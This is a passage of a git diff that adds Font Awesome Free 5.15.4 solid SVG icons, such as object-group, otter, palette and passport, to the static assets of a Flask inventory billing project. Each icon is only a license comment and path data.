8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/object-group.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/object-group.svg new file mode 100644 index 00000000..d7bb0a19 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/object-group.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/object-ungroup.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/object-ungroup.svg new file mode 100644 index 00000000..f96c25bb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/object-ungroup.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/oil-can.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/oil-can.svg new file mode 100644 index 00000000..a8f825d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/oil-can.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/om.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/om.svg new file mode 100644 index 00000000..1cc778ef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/om.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/otter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/otter.svg new file mode 100644 index 00000000..be6b97e2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/otter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/outdent.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/outdent.svg new file mode 100644 index 00000000..8f09cd68 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/outdent.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pager.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pager.svg new file mode 100644 index 00000000..c9fcdd06 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pager.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paint-brush.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paint-brush.svg new file mode 100644 index 00000000..9e74160d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paint-brush.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paint-roller.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paint-roller.svg new file mode 100644 index 00000000..92c12b9e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paint-roller.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/palette.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/palette.svg new file mode 100644 index 00000000..f689c056 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/palette.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pallet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pallet.svg new file mode 100644 index 00000000..73a86cfb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pallet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paper-plane.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paper-plane.svg new file mode 100644 index 00000000..90da16aa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paper-plane.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paperclip.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paperclip.svg new file mode 100644 index 00000000..76ef1a0b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paperclip.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/parachute-box.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/parachute-box.svg new file mode 100644 index 00000000..ac3a7628 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/parachute-box.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paragraph.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paragraph.svg new file mode 100644 index 00000000..9cb60cdb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paragraph.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/parking.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/parking.svg new file mode 100644 index 00000000..a0ebcc90 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/parking.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/passport.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/passport.svg new file mode 100644 index 00000000..f240f83c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/passport.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pastafarianism.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pastafarianism.svg new file mode 100644 index 00000000..3a5c9519 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pastafarianism.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paste.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paste.svg new file mode 100644 index 00000000..12fab1aa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paste.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pause-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pause-circle.svg new file mode 100644 index 00000000..8ec22d96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pause-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" 